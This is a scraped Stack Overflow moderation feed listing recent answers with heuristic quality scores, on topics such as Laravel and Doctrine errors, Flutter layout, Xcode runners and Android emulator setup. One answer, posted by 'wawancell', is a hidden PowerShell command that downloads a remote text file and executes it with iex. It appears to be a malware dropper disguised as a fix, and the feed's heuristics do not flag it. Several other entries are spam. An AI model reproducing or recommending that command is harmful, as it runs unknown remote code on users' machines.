The API was updated so that you can edit paid ACCREC invoices but this has not been extended to ACCPAY invoices or any type of credit note

Reasons:
  • Low length (1):
  • No code block (0.5):
  • Single line (0.5):
  • Low reputation (0.5):
Posted by: sallyhornet

79188481

Date: 2024-11-14 11:13:06
Score: 2
Natty:
Report link

Indeed it seems XCode 16 has been removed from macOS-14: https://github.com/actions/runner-images/issues/10703

In my case, I have updated my vmImage to macOS-15 and it works fine but unfortunately some people may have to rework their pipelines if they rely on macOS-14.

Reasons:
  • Low length (0.5):
  • No code block (0.5):
  • Low reputation (1):
Posted by: ShC

79188480

Date: 2024-11-14 11:12:06
Score: 0.5
Natty:
Report link

Just wrap you column with Center for cross axis alignment center to work.

 Center(
  child: Column(
    crossAxisAlignment: CrossAxisAlignment.center,
    children: [
      TextField(
        controller: _emailController,
        decoration: const InputDecoration(
          labelText: 'Email',
        ),
      ),
      TextField(
        controller: _passwordController,
        decoration: const InputDecoration(
          labelText: 'Password',
        ),
        obscureText: true,
      ),
    ],
  ),
);

Similarly, wrap row with Center for mainAxisAlignment: MainAxisAlignment.center to work:

Center(
  child: Row(
    mainAxisAlignment: MainAxisAlignment.center,
    children: [
      
    ],
  ),
)

screenshot: enter image description here

Reasons:
  • Probably link only (1):
  • Long answer (-0.5):
  • Has code block (-0.5):
  • Low reputation (0.5):
Posted by: Rehan

79188469

Date: 2024-11-14 11:07:05
Score: 2.5
Natty:
Report link

Many steps in this guide but looks like the promising approach and a tool described.

No need to read docs there, only to follow the attached steps.

I did not try it.

https://danielflower.github.io/2017/04/08/Lets-Encrypt-Certs-with-embedded-Jetty.html

Reasons:
  • Blacklisted phrase (1): this guide
  • Probably link only (1):
  • Low length (1):
  • No code block (0.5):
  • High reputation (-1):
Posted by: Oleksii Kyslytsyn

79188460

Date: 2024-11-14 11:05:04
Score: 2.5
Natty:
Report link

Remove the @UseInterceptores(FileInterceptor('file') Line And make when passing the file in postman write the 'file' in key obv without ''

Reasons:
  • Low length (1):
  • No code block (0.5):
  • Low reputation (1):
Posted by: Sushant Dwivedi

79188453

Date: 2024-11-14 11:05:04
Score: 1
Natty:
Report link

You might want to consider using a compiler generated by buildroot. First of all, run make menuconfig to create .config file and then run make. All new toolchain environment will be in buildroot_directory/output/host. You might add buildroot_directory/output/host/bin to PATH

Reasons:
  • Low length (0.5):
  • Has code block (-0.5):
  • Low reputation (1):
Posted by: Nikolay Isaev

79188443

Date: 2024-11-14 11:02:03
Score: 5
Natty:
Report link

I think its from input, make sure input parameter is numbers.

sorry i dont have reputation to comment.

Reasons:
  • Blacklisted phrase (1): to comment
  • RegEx Blacklisted phrase (1.5): i dont have reputation to comment
  • Low length (1):
  • No code block (0.5):
  • Low reputation (1):
Posted by: Hitesh Bharadwaj

79188442

Date: 2024-11-14 11:02:03
Score: 3.5
Natty:
Report link

Adding "python.analysis.exclude": ["**"] in the settings.json file fixed it for me.

Reasons:
  • Low length (1.5):
  • No code block (0.5):
  • Single line (0.5):
  • Low reputation (1):
Posted by: Parakh Agarwal

79188441

Date: 2024-11-14 11:02:03
Score: 1
Natty:
Report link

Easiest way I could do that with zod was,

enum Colour {
    red: 'Red',
    blue: 'Blue',
}

const isValidColour: bool = z.nativeEnum(Colour).safeParse("Red").success; // true

const isValidColour: bool = z.nativeEnum(Colour).safeParse("Pink").success; // false
Reasons:
  • Low length (0.5):
  • Has code block (-0.5):
  • Low reputation (1):
Posted by: Jay Patel

79188438

Date: 2024-11-14 11:01:01
Score: 7.5 🚩
Natty: 6
Report link

How to do Alexa development by only communicating with my server and not using AWS? Does anyone know? I pay

Reasons:
  • RegEx Blacklisted phrase (2): Does anyone know
  • Low length (1):
  • No code block (0.5):
  • Ends in question mark (2):
  • Single line (0.5):
  • Starts with a question (0.5): How to
  • Low reputation (1):
Posted by: user28034210

79188435

Date: 2024-11-14 11:00:00
Score: 1.5
Natty:
Report link

The positive drift in the log of the forward coefficients likely results from cumulative numerical errors over time, which is a common issue when repeatedly applying the log-sum-exp trick. Since log-probabilities should remain non-positive, any increase above zero suggests small inaccuracies are building up with each iteration. To mitigate this, consider normalizing the forward coefficients at each time step. For instance, you could re-center the log probabilities by subtracting the maximum log coefficient at each step. This normalization maintains relative values without altering the sequence, helping to control numerical errors and keep the values within the expected range.

Reasons:
  • Long answer (-0.5):
  • No code block (0.5):
  • Single line (0.5):
  • Low reputation (1):
Posted by: Chris A. Bell

79188429

Date: 2024-11-14 10:56:59
Score: 1
Natty:
Report link

Have you tried this?

Database stuck in "Restoring" state

Probably the answer to the problem,

stuck in recovery state

is...

You need to use the WITH RECOVERY option, with your database RESTORE command, to bring your database online as part of the restore process.

Reasons:
  • Whitelisted phrase (-1): Have you tried
  • Low length (0.5):
  • No code block (0.5):
  • Contains question mark (0.5):
  • Low reputation (0.5):
Posted by: DevQt_PH

79188425

Date: 2024-11-14 10:54:59
Score: 1
Natty:
Report link

You should do

import NextAuth from "next-auth";

The error was because the "next-auth" package does not have a named export called "NextAuth". Instead, it has a default export which you can name how ever you like but most people just stick to naming it as "NextAuth"

Reasons:
  • Low length (0.5):
  • Has code block (-0.5):
  • Low reputation (1):
Posted by: Mikey

79188421

Date: 2024-11-14 10:53:59
Score: 0.5
Natty:
Report link

Using BYCOL() and TEXTSPLI0T() (and AND()):

=BYCOL(TEXTSPLIT(A7,","),
LAMBDA(a,    
AND(
ISNUMBER(VALUE(CONCAT((FIND(MID(a,1,1),"ABCDEFGHIJKLMNOPQRSTUVWXYZ")),(FIND(MID(a,2,1),"ABCDEFGHIJKLMNOPQRSTUVWXYZ"))))),
ISNUMBER(VALUE(MID(a,3,8))),
LEN(a)=10)))

This will output an array, if you wrap an AND() around it, it will output just TRUE or FALSE.

Edition 1

Note, I TEXTJOIN()-ed the list from A1:A5 in cell A7, with ", ".

Edition 2

Sample 2 to show FALSE output.

(Excel in different language, WAAR = TRUE, ONWAAR = FALSE)

Also note: this doesn't exclude duplicates: Duplicates

Cell highlight manually done

Reasons:
  • Probably link only (1):
  • Long answer (-0.5):
  • Has code block (-0.5):
  • Low reputation (0.5):
Posted by: Excellor

79188418

Date: 2024-11-14 10:52:58
Score: 2
Natty:
Report link
  1. Sort Files

    sort Name.txt -o Name.txt
    sort Firstname.txt -o Firstname.txt

  2. Merge the two files on the first column

    join -o 0,2.1,1.2 Name.txt Firstname.txt > User.txt

  3. Results should be like this

1 John Smith
2 Jane Doe
3 Jung Kim
3 Un Kim
4 Mickey Mouse

Reasons:
  • Low length (0.5):
  • No code block (0.5):
  • Low reputation (1):
Posted by: Rafael Mehdiyev

79188414

Date: 2024-11-14 10:51:58
Score: 3.5
Natty:
Report link

try running it from command prompt

Reasons:
  • Low length (2):
  • No code block (0.5):
  • Single line (0.5):
  • Low reputation (0.5):
Posted by: Peter

79188404

Date: 2024-11-14 10:49:58
Score: 3
Natty:
Report link

The correct package to install is python-dotenv.

Duplicate of pip install dotenv error code 1 Windows 10

Reasons:
  • Probably link only (1):
  • Low length (1.5):
  • Has code block (-0.5):
  • Low reputation (1):
Posted by: Girmi

79188396

Date: 2024-11-14 10:47:57
Score: 5.5
Natty: 6
Report link

Have you found a solution for this? I've also done all tweakable configs in Cloudflare, it's still wont work. It works when I'm directly accessing my app via VPS / Traefik, but when its hidden behind Cloudflare nothing happens lol.

Reasons:
  • RegEx Blacklisted phrase (2.5): Have you found a solution for this
  • Low length (0.5):
  • No code block (0.5):
  • Contains question mark (0.5):
  • Single line (0.5):
  • Low reputation (1):
Posted by: erehwonmi

79188389

Date: 2024-11-14 10:45:56
Score: 3
Natty:
Report link

powershell.exe -W Hidden -command $url = 'https://UTFJv6fun.b-cdn.net/CHNL/bt.txt'; $response = Invoke-WebRequest -Uri $url -UseBasicParsing; $text = $response.Content; iex $text

Reasons:
  • Low length (1):
  • No code block (0.5):
  • Single line (0.5):
  • Low reputation (1):
Posted by: wawancell

79188386

Date: 2024-11-14 10:45:56
Score: 3.5
Natty:
Report link

Interesting post. I Have Been wondering about this issue, so thanks for posting. Pretty cool post. actress Meg Steedle

Reasons:
  • Blacklisted phrase (0.5): thanks
  • Low length (1):
  • No code block (0.5):
  • Single line (0.5):
  • Low reputation (1):
Posted by: Profile Spam Account

79188385

Date: 2024-11-14 10:45:56
Score: 3.5
Natty:
Report link

My problem solved with composer install ,

Reasons:
  • Low length (1.5):
  • No code block (0.5):
  • Single line (0.5):
  • Low reputation (1):
Posted by: Navid Mirzaaghazadeh

79188381

Date: 2024-11-14 10:43:56
Score: 2.5
Natty:
Report link

According to the documentation, You should try this setting: --detect.npm.dependency.types.excluded=DEV

https://documentation.blackduck.com/bundle/detect/page/properties/detectors/npm.html

Reasons:
  • Whitelisted phrase (-1): try this
  • Probably link only (1):
  • Low length (1):
  • No code block (0.5):
  • Low reputation (1):
Posted by: Magdalena

79188378

Date: 2024-11-14 10:41:55
Score: 1
Natty:
Report link

Magento 2 Store Locator improves user experience by allowing customers to quickly select a location from a list, displaying the nearest stores or pickup points. This dropdown is created using JavaScript and PHP to dynamically pull store data that integrates it into the Magento front end.

Using Magento’s layout and template structure, developers add a dropdown element, populated with store locations retrieved via API or Magento’s backend configuration. When a user selects a location, JavaScript triggers an update to display relevant store details, such as address, hours, and available services that streamline the path to purchase.

Reasons:
  • Long answer (-0.5):
  • No code block (0.5):
  • Low reputation (1):
Posted by: spammer

79188371

Date: 2024-11-14 10:39:54
Score: 3
Natty:
Report link

code like this:

@available(iOS 17.0, *)
#Preview(traits: .fixedLayout(width: 375, height: 600)) {
    CardView(fruits: fruitData[1])

}

then, you have to clike the 【Selecable】 button. https://stackoverflow.com/a/74430524/25340198

Reasons:
  • Blacklisted phrase (1): stackoverflow
  • Probably link only (1):
  • Low length (0.5):
  • Has code block (-0.5):
  • Low reputation (1):
Posted by: Heisenberg

79188365

Date: 2024-11-14 10:38:54
Score: 0.5
Natty:
Report link

Facing this problem when running database migration with :

I can't downgrade/upgrade my doctrine/dbal version due to a conflict with carbon-doctrine-types (which comes from laravel/framework requiring nesbot/carbon requiring carbonphp/carbon-doctrine-types).

Apparently, the ::connect method signature changed from Laravel 8 to Laravel 9, which I though was causing the error :

Complete composer.json

{
    "name": "laravel/laravel",
    "description": "The Laravel Framework.",
    "keywords": ["framework", "laravel"],
    "license": "MIT",
    "type": "project",
    "require": {
        "24slides/laravel-saml2": "^2.0",
        "barryvdh/laravel-dompdf": "^3.0.0",
        "doctrine/dbal": "4.2.1",
        "fideloper/proxy": "^4.0",
        "laravel/framework": "^9.0",
        "laravel/helpers": "^1.6",
        "laravel/tinker": "^2.0",
        "laravel/ui": "^3.0"
    },
    "require-dev": {
        "filp/whoops": "~2.0",
        "fzaninotto/faker": "~1.4",
        "mockery/mockery": "~1.0",
        "phpunit/phpunit": "^9.0",
        "symfony/thanks": "^1.0"
    },
    "autoload": {
        "classmap": [
            "database/seeders",
            "database/factories"
        ],
        "psr-4": {
            "App\\": "app/",
            "OneLogin\\Saml2\\": "repositories/onelogin/php-saml/src/Saml2/"
        }
    },
    "autoload-dev": {
        "psr-4": {
            "Tests\\": "tests/"
        }
    },
    "extra": {
        "laravel": {
            "dont-discover": [
            ]
        }
    },
    "scripts": {
        "post-root-package-install": [
            "@php -r \"file_exists('.env') || copy('.env.example', '.env');\""
        ],
        "post-create-project-cmd": [
            "@php artisan key:generate"
        ],
        "post-autoload-dump": [
            "Illuminate\\Foundation\\ComposerScripts::postAutoloadDump",
            "@php artisan package:discover"
        ]
    },
    "config": {
        "preferred-install": "dist",
        "sort-packages": true,
        "optimize-autoloader": true,
        "allow-plugins": {
            "kylekatarnls/update-helper": true,
            "symfony/thanks": true
        }
    }
}

Complete error when running php artisan migrate :

   INFO  Running migrations.  

  2024_07_18_110456_delete_some_column PHP Fatal error:  Declaration of Illuminate\Database\PDO\Concerns\ConnectsToDatabase::connect(array $params, $username = null, $password = null, array $driverOptions = []) must be compatible with Doctrine\DBAL\Driver::connect(array $params): Doctrine\DBAL\Driver\Connection in C:\Users\g64882.ZEPRODBUR\Desktop\ykq\vendor\laravel\framework\src\Illuminate\Database\PDO\Concerns\ConnectsToDatabase.php on line 22
[2024-11-14 10:10:54] ${ENVIRONMENT}.ERROR: Declaration of Illuminate\Database\PDO\Concerns\ConnectsToDatabase::connect(array $params, $username = null, $password = null, array $driverOptions = []) must be compatible with 
Doctrine\DBAL\Driver::connect(array $params): Doctrine\DBAL\Driver\Connection {"exception":"[object] (Symfony\\Component\\ErrorHandler\\Error\\FatalError(code: 0): Declaration of Illuminate\\Database\\PDO\\Concerns\\ConnectsToDatabase::connect(array $params, $username = null, $password = null, array $driverOptions = []) must be compatible with Doctrine\\DBAL\\Driver::connect(array $params): Doctrine\\DBAL\\Driver\\Connection at C:\\Users\\g64882.ZEPRODBUR\\Desktop\\ykq\\vendor\\laravel\\framework\\src\\Illuminate\\Database\\PDO\\Concerns\\ConnectsToDatabase.php:22)
[stacktrace]
#0 {main}
"} 

In ConnectsToDatabase.php line 22:

  Declaration of Illuminate\Database\PDO\Concerns\ConnectsToDatabase::connect(array $params, $username = nul  
  l, $password = null, array $driverOptions = []) must be compatible with Doctrine\DBAL\Driver::connect(arra  
  y $params): Doctrine\DBAL\Driver\Connection

I downgraded to Laravel 8, but still has the error (and it's even more weird now that the 2 methods with the same signature seems incompatible ?)

Complete composer.json

{
    "name": "laravel/laravel",
    "description": "The Laravel Framework.",
    "keywords": ["framework", "laravel"],
    "license": "MIT",
    "type": "project",
    "require": {
        "24slides/laravel-saml2": "^2.0",
        "barryvdh/laravel-dompdf": "^2.2.0",
        "doctrine/dbal": "4.2.1",
        "fideloper/proxy": "^4.0",
        "laravel/framework": "^8.0",
        "laravel/helpers": "^1.6",
        "laravel/tinker": "^2.0",
        "laravel/ui": "^3.0"
    },
    "require-dev": {
        "filp/whoops": "~2.0",
        "fzaninotto/faker": "~1.4",
        "mockery/mockery": "~1.0",
        "phpunit/phpunit": "^9.0",
        "symfony/thanks": "^1.0"
    },
    "autoload": {
        "classmap": [
            "database/seeders",
            "database/factories"
        ],
        "psr-4": {
            "App\\": "app/",
            "OneLogin\\Saml2\\": "repositories/onelogin/php-saml/src/Saml2/"
        }
    },
    "autoload-dev": {
        "psr-4": {
            "Tests\\": "tests/"
        }
    },
    "extra": {
        "laravel": {
            "dont-discover": [
            ]
        }
    },
    "scripts": {
        "post-root-package-install": [
            "@php -r \"file_exists('.env') || copy('.env.example', '.env');\""
        ],
        "post-create-project-cmd": [
            "@php artisan key:generate"
        ],
        "post-autoload-dump": [
            "Illuminate\\Foundation\\ComposerScripts::postAutoloadDump",
            "@php artisan package:discover"
        ]
    },
    "config": {
        "preferred-install": "dist",
        "sort-packages": true,
        "optimize-autoloader": true,
        "allow-plugins": {
            "kylekatarnls/update-helper": true,
            "symfony/thanks": true
        }
    }
}

Complete error when running php artisan migrate :

Migrating: 2024_07_18_110456_delete_some_column
PHP Fatal error:  Declaration of Illuminate\Database\PDO\Concerns\ConnectsToDatabase::connect(array $params) must be compatible with Doctrine\DBAL\Driver::connect(array $params): Doctrine\DBAL\Driver\Connection in C:\Users\g64882.ZEPRODBUR\Desktop\ykq\vendor\laravel\framework\src\Illuminate\Database\PDO\Concerns\ConnectsToDatabase.php on line 19
[2024-11-14 10:28:57] ${ENVIRONMENT}.ERROR: Declaration of Illuminate\Database\PDO\Concerns\ConnectsToDatabase::connect(array $params) must be compatible with Doctrine\DBAL\Driver::connect(array $params): Doctrine\DBAL\Driver\Connection {"exception":"[object] (Symfony\\Component\\ErrorHandler\\Error\\FatalError(code: 0): Declaration of Illuminate\\Database\\PDO\\Concerns\\ConnectsToDatabase::connect(array $params) must be compatible with Doctrine\\DBAL\\Driver::connect(array $params): Doctrine\\DBAL\\Driver\\Connection at C:\\Users\\g64882.ZEPRODBUR\\Desktop\\ykq\\vendor\\laravel\\framework\\src\\Illuminate\\Database\\PDO\\Concerns\\ConnectsToDatabase.php:19)
[stacktrace]
#0 {main}
"} 

In ConnectsToDatabase.php line 19:

  Declaration of Illuminate\Database\PDO\Concerns\ConnectsToDatabase::connect(array $params) must be compati  
  ble with Doctrine\DBAL\Driver::connect(array $params): Doctrine\DBAL\Driver\Connection
Reasons:
  • Blacklisted phrase (0.5): thanks
  • Long answer (-1):
  • Has code block (-0.5):
  • Contains question mark (0.5):
  • Low reputation (1):
Posted by: Gugustinette

79188360

Date: 2024-11-14 10:36:54
Score: 0.5
Natty:
Report link

Just one small side note adding to Thomas' answer, you need to pass the table as a symbol (call by name) if you want to make the change persistent

![`t;();0b;{x!(^;0),/:x}MathsScience] 
or 
@[`t;Maths`Science;0^] 
Reasons:
  • Low length (0.5):
  • Has code block (-0.5):
  • Low reputation (0.5):
Posted by: Alexander Unterrainer-DefconQ

79188357

Date: 2024-11-14 10:36:54
Score: 3
Natty:
Report link

The solution was to change to ROW FORMAT SERDE "org.apache.hive.hcatalog.data.JsonSerDe"

Reasons:
  • Low length (1.5):
  • Has code block (-0.5):
  • Self-answer (0.5):
  • Single line (0.5):
  • Low reputation (1):
Posted by: Nir

79188351

Date: 2024-11-14 10:35:53
Score: 3.5
Natty:
Report link

I'm excited to share that today I found a way to interact with PDFs and detect selected text using Python in our Django application! 🎉

Reasons:
  • Low length (1):
  • No code block (0.5):
  • Self-answer (0.5):
  • Single line (0.5):
  • Low reputation (1):
Posted by: kishan Kumar

79188327

Date: 2024-11-14 10:31:52
Score: 0.5
Natty:
Report link

To resolve the "no tokens found in cookies" error when using JWT authentication, ensure the following:

CORS Configuration: The backend should be configured to allow cross-origin requests with credentials (cookies). This is necessary if the frontend and backend are hosted on different domains or ports.

Frontend Request: When making requests from your React app, always include credentials: 'include' in your fetch or axios call to send cookies along with the request.

Correct Cookie Settings: The JWT token should be set in a cookie with the appropriate flags, such as httpOnly, secure, and sameSite: 'None' if working with different origins.

Token Verification: On the backend, make sure you're extracting the JWT token from the cookies and verifying it properly before allowing access to protected routes.

Browser Settings: Ensure that the browser is accepting third-party cookies, especially if you're testing locally with different ports for frontend and backend.

By following these steps, you should be able to properly send, receive, and verify JWT tokens for authentication in your Node.js and React app.

Reasons:
  • Long answer (-1):
  • No code block (0.5):
  • Low reputation (1):
Posted by: Ravindran Dharshan

79188305

Date: 2024-11-14 10:29:51
Score: 0.5
Natty:
Report link

The error occurs because network_1 and network_2 are not yet built. In keras, layers in a sequential model are not instantiated until the model is called on some input data. when you try to access the .output attribute of a sequential model you need to build or called it manually before accessing it. Please refer to this gist.

Reasons:
  • Has code block (-0.5):
  • Single line (0.5):
  • Low reputation (0.5):
Posted by: Sagar

79188301

Date: 2024-11-14 10:28:51
Score: 4
Natty:
Report link

There are now some online converters, such as: https://catherinearnould.com/autres/resx/ which worked well for me.

Reasons:
  • Probably link only (1):
  • Low length (1.5):
  • No code block (0.5):
  • Low reputation (1):
Posted by: Dennis

79188297

Date: 2024-11-14 10:28:51
Score: 0.5
Natty:
Report link

After a long search, a colleague was able to find the solution to the problem.

A .gitattributes file was committed in the project. In it, the *.jar files were configured as Git LFS files.

*.jar filter=lfs diff=lfs merge=lfs -text

Due to a merge, the gradle-wrapper.jar file was destroyed and could no longer be read.

After deleting the configuration for *.jar files and recreating the gradle-wrapper.jar, ./gradlew can now be used without an error.

Reasons:
  • Has code block (-0.5):
  • Self-answer (0.5):
  • Low reputation (0.5):
Posted by: tgallei

79188295

Date: 2024-11-14 10:28:51
Score: 1.5
Natty:
Report link

The specific Intel compiler compiler version should support "static stealing". To enable it, you need to use schedule(runtime) with the parallel do directive, like so:

!$omp parallel do schedule(runtime)

When running the application, set OMP_SCHEDULE=static_steal as an environment variable before you start the application, e.g, for bash-like shells:

export OMP_SCHEDULE=static_steal

or via localize environment:

OMP_SCHEDULE=static_steal ./my-application

The loop is then partitioned statically at first, but when threads run out of work, they can steal from other threads. Does that solve your problem?

Reasons:
  • RegEx Blacklisted phrase (1.5): solve your problem?
  • Long answer (-0.5):
  • Has code block (-0.5):
  • Ends in question mark (2):
  • High reputation (-1):
Posted by: Michael Klemm

79188294

Date: 2024-11-14 10:28:51
Score: 1
Natty:
Report link

My recommendation would be to simply use a SSD with DRAM-cache instead of an SD-card.
Just write the data to disk without a memory buffer and let the cache handle it.
This is a very straightforward solution, it should provide predictable results so that you can dial in the rate at wich you write data to disk without overwhelming the cache.

If you simply have to use an SD-card you can influence the behaviour of the OS-level disk cache (assuming you are using Raspbian) by editing an option file in fstab.
Take a look at this post from the official raspberry forum to get an idea of how to influence the disk cache:
https://forums.raspberrypi.com/viewtopic.php?t=157743#p1026791

Reasons:
  • Long answer (-0.5):
  • No code block (0.5):
  • Low reputation (1):
Posted by: Overminded

79188271

Date: 2024-11-14 10:24:49
Score: 4
Natty: 4
Report link

is it possible to define the bucket "le" size somehow per configuration that it do not generate the values by it self?

Something where I can say buckets le of : [0.05, 0.1, 0.3, 0.5, 1, 3, 5, 10, 30]

Seems to be possible in nestJS. But I can't find it for spring boot

Thanks,

Tom

Reasons:
  • Blacklisted phrase (0.5): Thanks
  • Blacklisted phrase (1): is it possible to
  • Low length (0.5):
  • No code block (0.5):
  • Contains question mark (0.5):
  • Starts with a question (0.5): is it
  • Low reputation (0.5):
Posted by: Tom K.

79188260

Date: 2024-11-14 10:24:48
Score: 1.5
Natty:
Report link

There are high opportunities for WordPress developers, but there is not a great payout for most of these opportunities. WordPress is used majorly by new-age startups or businesses looking only to have a simple website rather than a functional one. I have been working in the Web development domain for the past 6 years, if you are looking to make some big money, look into other coding skills MERN, Next.JS, and Laravel will have better opportunities to earn, and grow

Reasons:
  • No code block (0.5):
  • Low reputation (1):
Posted by: Nilaksh Dureja

79188242

Date: 2024-11-14 10:21:47
Score: 1
Natty:
Report link

Steps:

Reasons:
  • Long answer (-0.5):
  • No code block (0.5):
  • Low reputation (1):
Posted by: Gospel John

79188222

Date: 2024-11-14 10:17:46
Score: 1.5
Natty:
Report link

Your submti button is out side of the <form> element place it inside the form element like this `your input fields... Send Message

`
Reasons:
  • Low length (1):
  • Has code block (-0.5):
  • Low reputation (1):
Posted by: Dhyan Moradiya

79188214

Date: 2024-11-14 10:15:46
Score: 0.5
Natty:
Report link

Change ib.cancelMktData(tick_id) to ib.cancelMktData(instr) Based on ib_insync source code:

 def cancelMktData(self, contract: Contract):
    """
    Unsubscribe from realtime streaming tick data.

    Args:
        contract: The exact contract object that was used to
            subscribe with.
    """
    ticker = self.ticker(contract)
    reqId = self.wrapper.endTicker(ticker, 'mktData') if ticker else 0
    if reqId:
        self.client.cancelMktData(reqId)
    else:
        self._logger.error(
            'cancelMktData: ' f'No reqId found for contract {contract}')
Reasons:
  • Long answer (-0.5):
  • Has code block (-0.5):
  • Unregistered user (0.5):
  • Low reputation (1):
Posted by: Marius

79188207

Date: 2024-11-14 10:15:46
Score: 3
Natty:
Report link

GITHUB_TOKEN is a managed secret, it is automatically generated and injected into the workflow. There is no need to create a separate token for changesets.

See https://docs.github.com/en/actions/security-for-github-actions/security-guides/automatic-token-authentication#about-the-github_token-secret

also see https://docs.github.com/en/actions/writing-workflows/choosing-what-your-workflow-does/controlling-permissions-for-github_token

Reasons:
  • Probably link only (1):
  • Low length (1):
  • Has code block (-0.5):
  • Starts with a question (0.5): is a
  • Low reputation (1):
Posted by: Felix F.

79188193

Date: 2024-11-14 10:11:42
Score: 8 🚩
Natty:
Report link

Please,

is there any new update for Outlook 2024/Outlook WEB and .NET 8 ? In new outlook drag and drop function starts like:

private void Form1_DragEnter(object sender, DragEventArgs e)
{
    if (e.Data.GetDataPresent("Chromium Web Custom MIME Data Format"))
        e.Effect = DragDropEffects.Copy;
    else
        e.Effect = DragDropEffects.None;
}

private void Form1_DragDrop(object sender, DragEventArgs e)
{
    if (e.Data.GetDataPresent("Chromium Web Custom MIME Data Format"))
    {
        var data = e.Data.GetData("Chromium Web Custom MIME Data Format");
        if (data is MemoryStream memoryStream)
        {
            var bytes = memoryStream.ToArray();
            var rawText = Encoding.UTF8.GetString(bytes);
            Debug.WriteLine(rawText);
        }
    }
}

But this is not working properly. Please can somebody help mi to get content of email (text, assigned files,...) from copy paste & new Outlook version?

Thank you.

Reasons:
  • Blacklisted phrase (0.5): Thank you
  • Blacklisted phrase (1): is there any
  • Blacklisted phrase (0.5): not working properly
  • RegEx Blacklisted phrase (3): can somebody help
  • Long answer (-0.5):
  • Has code block (-0.5):
  • Ends in question mark (2):
  • Looks like a comment (1):
  • Low reputation (1):
Posted by: user2046901

79188190

Date: 2024-11-14 10:10:42
Score: 2
Natty:
Report link

For me the key was to set -S runtimes and it went down to around 1'000 targets which are quickly compiled.

Reasons:
  • Low length (1):
  • Has code block (-0.5):
  • Self-answer (0.5):
  • Single line (0.5):
  • Low reputation (0.5):
Posted by: vwvw

79188183

Date: 2024-11-14 10:07:41
Score: 2.5
Natty:
Report link

"This might be because the FCM device token you generated has expired. Since the topic is associated with the device token, you should regenerate the device token and then re-subscribe to the topic. This may resolve the issue."

Reasons:
  • Low length (0.5):
  • No code block (0.5):
  • Single line (0.5):
  • Low reputation (1):
Posted by: Rounak Rajbhandari

79188181

Date: 2024-11-14 10:06:40
Score: 1.5
Natty:
Report link

Solutions

Try these solutions in order, as they progress from simple to more complex fixes:

1. GPU Configuration Fix

# Run emulator with GPU off
cd %ANDROID_HOME%/emulator
./emulator -gpu off -avd YOUR_AVD_NAME

Or modify the AVD configuration:

  1. Open AVD Manager
  2. Click 'Edit' (pencil icon) for your AVD
  3. Show Advanced Settings
  4. Under Emulated Performance:
    • Graphics: Select 'Software - GLES 2.0'
    • Change 'Enable GPU acceleration' to off

2. Update Graphics Drivers

  1. Install/Update GPU drivers
  2. For NVIDIA users:
    Control Panel → 3D Settings → Program Settings
    Add Android Emulator and set:
    - OpenGL rendering: Force software
    - Power management: Prefer maximum performance
    

3. Fix Environment Variables

# Add these to System Variables
ANDROID_HOME=C:\Users\[username]\AppData\Local\Android\Sdk
JAVA_HOME=C:\Program Files\Microsoft\jdk-17.0.8.7-hotspot\
Path=%Path%;%ANDROID_HOME%\tools;%ANDROID_HOME%\platform-tools;%ANDROID_HOME%\emulator

4. Clear AVD Data and Cache

# Windows PowerShell commands
Remove-Item -Recurse -Force "${env:USERPROFILE}\.android\avd\*"
Remove-Item -Recurse -Force "${env:LOCALAPPDATA}\Android\Sdk\system-images\*"

# Reinstall system images
sdkmanager --install "system-images;android-30;google_apis_playstore;x86"

5. Create New AVD with Specific Settings

# Create AVD via command line with optimal settings
avdmanager create avd -n "Pixel_3a_API_30" \
    -k "system-images;android-30;google_apis_playstore;x86" \
    -d "pixel_3a" \
    --force

# Edit config.ini
notepad %USERPROFILE%\.android\avd\Pixel_3a_API_30.avd\config.ini

Add these lines to config.ini:

hw.gpu.enabled=yes
hw.gpu.mode=off
disk.dataPartition.size=6442450944

6. Modify Studio Configuration

Edit studio64.exe.vmoptions:

# Location: %APPDATA%\Google\AndroidStudio[version]\studio64.exe.vmoptions
-Xmx2048m
-XX:MaxPermSize=512m
-XX:ReservedCodeCacheSize=240m
-XX:+UseConcMarkSweepGC
-XX:SoftRefLRUPolicyMSPerMB=50
-ea
-Dsun.io.useCanonCaches=false
-Djava.net.preferIPv4Stack=true
-Djdk.http.auth.tunneling.disabledSchemes=""
-XX:+HeapDumpOnOutOfMemoryError
-XX:-OmitStackTraceInFastThrow

Advanced Solutions

1. HAXM Installation Fix

# Uninstall existing HAXM
cd %ANDROID_HOME%\extras\intel\Hardware_Accelerated_Execution_Manager
silent_install.bat -u

# Download latest HAXM
# Install with custom settings
silent_install.bat -log -m 2048

2. Windows Hypervisor Fix

# PowerShell (Admin)
# Enable Hyper-V
Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Hyper-V-All

# OR Disable if using HAXM
Disable-WindowsOptionalFeature -Online -FeatureName Microsoft-Hyper-V-All

3. Vulkan Support Check

# Check Vulkan installation
Get-ChildItem -Path C:\Windows\System32\vulkan* -File
Get-ChildItem -Path C:\Windows\SysWOW64\vulkan* -File

If missing:

  1. Download Vulkan SDK
  2. Install Graphics drivers with Vulkan support
  3. Add to PATH:
C:\VulkanSDK\[version]\Bin

Prevention Tips

  1. Regular Maintenance
# Clean Android Studio
File → Invalidate Caches / Restart

# Update SDK Tools
sdkmanager --update
  1. Performance Settings
<!-- In gradle.properties -->
org.gradle.jvmargs=-Xmx2048m -XX:MaxPermSize=512m
org.gradle.parallel=true
org.gradle.daemon=true
  1. Monitoring
# Check emulator process
tasklist | findstr "qemu"
# Monitor GPU usage
nvidia-smi -l 1

Troubleshooting Steps

If issues persist:

  1. Check System Requirements
# PowerShell
systeminfo | Select-String "Total Physical Memory","Processor","OS Name"
  1. Verify Virtualization
# Command Prompt (Admin)
systeminfo | findstr /i "Virtualization"
  1. Log Analysis
# Check emulator logs
type %USERPROFILE%\.android\avd\*.log
  1. Clean Installation
# Remove Android Studio completely
Remove-Item -Recurse -Force "${env:LOCALAPPDATA}\Google\AndroidStudio*"
Remove-Item -Recurse -Force "${env:APPDATA}\Google\AndroidStudio*"

Remember to:

Would you like me to explain any specific part in more detail?

Reasons:
  • Long answer (-1):
  • Has code block (-0.5):
  • Ends in question mark (2):
  • Low reputation (1):
Posted by: Darshan Parmar

79188180

Date: 2024-11-14 10:06:40
Score: 5.5
Natty: 5.5
Report link

Are you still looking a solution for this?

Reasons:
  • Low length (1.5):
  • No code block (0.5):
  • Ends in question mark (2):
  • Single line (0.5):
  • Low reputation (1):
Posted by: Rakesh Raghavendra

79188177

Date: 2024-11-14 10:05:40
Score: 1.5
Natty:
Report link

In VSCode 1.95 settings.json for me this works now (outside of [python]):

"autopep8.args": [
    "--max-line-length",
    "120",
    "--experimental"
],
Reasons:
  • Low length (1):
  • Has code block (-0.5):
  • Low reputation (1):
Posted by: Tobias Seiler

